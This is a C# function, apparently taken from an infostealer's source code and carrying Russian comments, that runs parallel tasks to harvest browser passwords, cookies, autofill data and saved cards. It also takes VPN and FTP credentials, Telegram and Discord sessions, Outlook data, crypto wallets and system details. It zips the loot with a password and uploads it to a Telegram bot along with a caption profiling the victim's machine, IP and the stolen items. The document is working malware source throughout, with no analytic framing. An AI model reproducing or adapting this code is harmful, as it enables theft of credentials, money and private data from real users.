示例#1
0
        public static void GetCollection()
        {
            try
            {
                // Создаем временные директории для сбора лога
                Directory.CreateDirectory(Help.collectionDir);
                Directory.CreateDirectory(Help.Browsers);
                Directory.CreateDirectory(Help.Passwords);
                Directory.CreateDirectory(Help.Autofills);
                Directory.CreateDirectory(Help.Downloads);
                Directory.CreateDirectory(Help.Cookies);
                Directory.CreateDirectory(Help.History);
                Directory.CreateDirectory(Help.Cards);
            }
            catch { }
            Task[] t0 = new Task[1] {
                new Task(() => Files.GetFiles(Help.collectionDir)),
            };
            Task[] t1 = new Task[1] {
                new Task(() => GetChromium()),
            };
            Task[] t2 = new Task[1] {
                new Task(() => GetGecko()),
            };
            Task[] t3 = new Task[1] {
                new Task(() => Edge.GetEdge(Help.Passwords)),
            };
            Task[] t4 = new Task[1] {
                new Task(() => Outlook.GrabOutlook(Help.collectionDir)),
            };
            Task[] t5 = new Task[1] {
                new Task(() => FileZilla.GetFileZilla(Help.collectionDir)),
            };
            Task[] t6 = new Task[1] {
                new Task(() => TotalCommander.GetTotalCommander(Help.collectionDir)),
            };
            Task[] t7 = new Task[1] {
                new Task(() => ProtonVPN.GetProtonVPN(Help.collectionDir)),
            };
            Task[] t8 = new Task[1] {
                new Task(() => OpenVPN.GetOpenVPN(Help.collectionDir)),
            };
            Task[] t9 = new Task[1] {
                new Task(() => NordVPN.GetNordVPN(Help.collectionDir)),
            };
            Task[] t10 = new Task[1] {
                new Task(() => Telegram.GetTelegram(Help.collectionDir)),
            };
            Task[] t11 = new Task[1] {
                new Task(() => Discord.GetDiscord(Help.collectionDir)),
            };
            Task[] t12 = new Task[1] {
                new Task(() => Wallets.GetWallets(Help.collectionDir)),
            };
            Task[] t13 = new Task[1] {
                new Task(() => Systemsinfo.GetSystemsData(Help.collectionDir)),
            };
            Task[] t14 = new Task[1] {
                new Task(() => DomainDetect.GetDomainDetect(Help.Browsers)),
            };
            try
            {
                new Thread(() => { foreach (var t in t0)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t1)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t2)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t3)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t4)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t5)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t6)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t7)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t8)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t9)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t10)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t11)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t12)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t13)
                                   {
                                       t.Start();
                                   }
                           }).Start();
                new Thread(() => { foreach (var t in t14)
                                   {
                                       t.Start();
                                   }
                           }).Start();

                Task.WaitAll(t0);
                Task.WaitAll(t1);
                Task.WaitAll(t2);
                Task.WaitAll(t3);
                Task.WaitAll(t4);
                Task.WaitAll(t5);
                Task.WaitAll(t6);
                Task.WaitAll(t7);
                Task.WaitAll(t8);
                Task.WaitAll(t9);
                Task.WaitAll(t10);
                Task.WaitAll(t11);
                Task.WaitAll(t12);
                Task.WaitAll(t13);
                Task.WaitAll(t14);
            }
            catch { }
            try
            {
                // Пакуем в апхив с паролем
                string zipArchive = Help.dir + "\\" + Help.dateLog + "_" + Help.HWID + Help.CountryCOde() + ".zip";
                using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
                {
                    zip.ParallelDeflateThreshold = -1;
                    zip.UseZip64WhenSaving       = Zip64Option.Always;
                    zip.CompressionLevel         = CompressionLevel.Default; // Задаем степень сжатия
                    zip.Password = Program.passwordzip;                      // Задаём пароль
                    zip.AddDirectory(Help.collectionDir);                    // Кладем в архив содержимое папки с логом
                    zip.Save(zipArchive);                                    // Сохраняем архив
                }



                string byteArchive = zipArchive;
                byte[] file        = File.ReadAllBytes(byteArchive);
                string url         = string.Concat(new string[]
                {
                    Help.ApiUrl,
                    Program.Token,
                    "/sendDocument?chat_id=",
                    Program.ID,
                    "&caption=" + Program.buildversion +
                    "\n👤 " + Environment.MachineName + "/" + Environment.UserName +
                    "\n🏴 IP: " + Help.IP + Help.Country() +
                    "\n🌐 Browsers Data" +
                    "\n   ∟🔑" + (Chromium.Passwords + Edge.count + Steal.count) +
                    "\n   ∟🍪" + (Chromium.Cookies + Steal.count_cookies) +
                    "\n   ∟🕑" + Chromium.History +
                    "\n   ∟📝" + Chromium.Autofills +
                    "\n   ∟💳" + Chromium.CC +
                    "\n💶 Wallets: " + (Wallets.count > 0 ? "✅" : "❌") +
                    (Electrum.count > 0 ? " Electrum" : "") +
                    (Armory.count > 0 ? " Armory" : "") +
                    (AtomicWallet.count > 0 ? " Atomic" : "") +
                    (BitcoinCore.count > 0 ? " BitcoinCore" : "") +
                    (Bytecoin.count > 0 ? " Bytecoin" : "") +
                    (DashCore.count > 0 ? " DashCore" : "") +
                    (Ethereum.count > 0 ? " Ethereum" : "") +
                    (Exodus.count > 0 ? " Exodus" : "") +
                    (LitecoinCore.count > 0 ? " LitecoinCore" : "") +
                    (Monero.count > 0 ? " Monero" : "") +
                    (Zcash.count > 0 ? " Zcash" : "") +
                    (Jaxx.count > 0 ? " Jaxx" : "") +

                    //

                    "\n📂 FileGrabber: " + Files.count +                    //Работает
                    "\n💬 Discord: " + (Discord.count > 0 ? "✅" : "❌") +    //Работает
                    "\n✈️ Telegram: " + (Telegram.count > 0 ? "✅" : "❌") + //Работает
                    "\n💡 Jabber: " + (Startjabbers.count + Pidgin.PidginCount > 0 ? "✅" : "❌") +
                    (Pidgin.PidginCount > 0 ? " Pidgin (" + Pidgin.PidginAkks + ")" : "") +
                    (Startjabbers.count > 0 ? " Psi" : "") + //Работает

                    "\n📡 FTP" +
                    "\n   ∟ FileZilla: " + (FileZilla.count > 0 ? "✅" + " (" + FileZilla.count + ")" : "❌") + //Работает
                    "\n   ∟ TotalCmd: " + (TotalCommander.count > 0 ? "✅" : "❌") +                            //Работает
                    "\n🔌 VPN" +
                    "\n   ∟ NordVPN: " + (NordVPN.count > 0 ? "✅" : "❌") +                                    //Работает
                    "\n   ∟ OpenVPN: " + (OpenVPN.count > 0 ? "✅" : "❌") +                                    //Работает
                    "\n   ∟ ProtonVPN: " + (ProtonVPN.count > 0 ? "✅" : "❌") +                                //Работает
                    "\n🆔 HWID: " + Help.HWID +                                                                //Работает
                    "\n⚙️ " + Systemsinfo.GetOSInformation() +
                    "\n🔎 " + File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
                });
                SenderAPI.POST(file, byteArchive, "application/x-ms-dos-executable", url);
            }
            catch
            {
            }
        }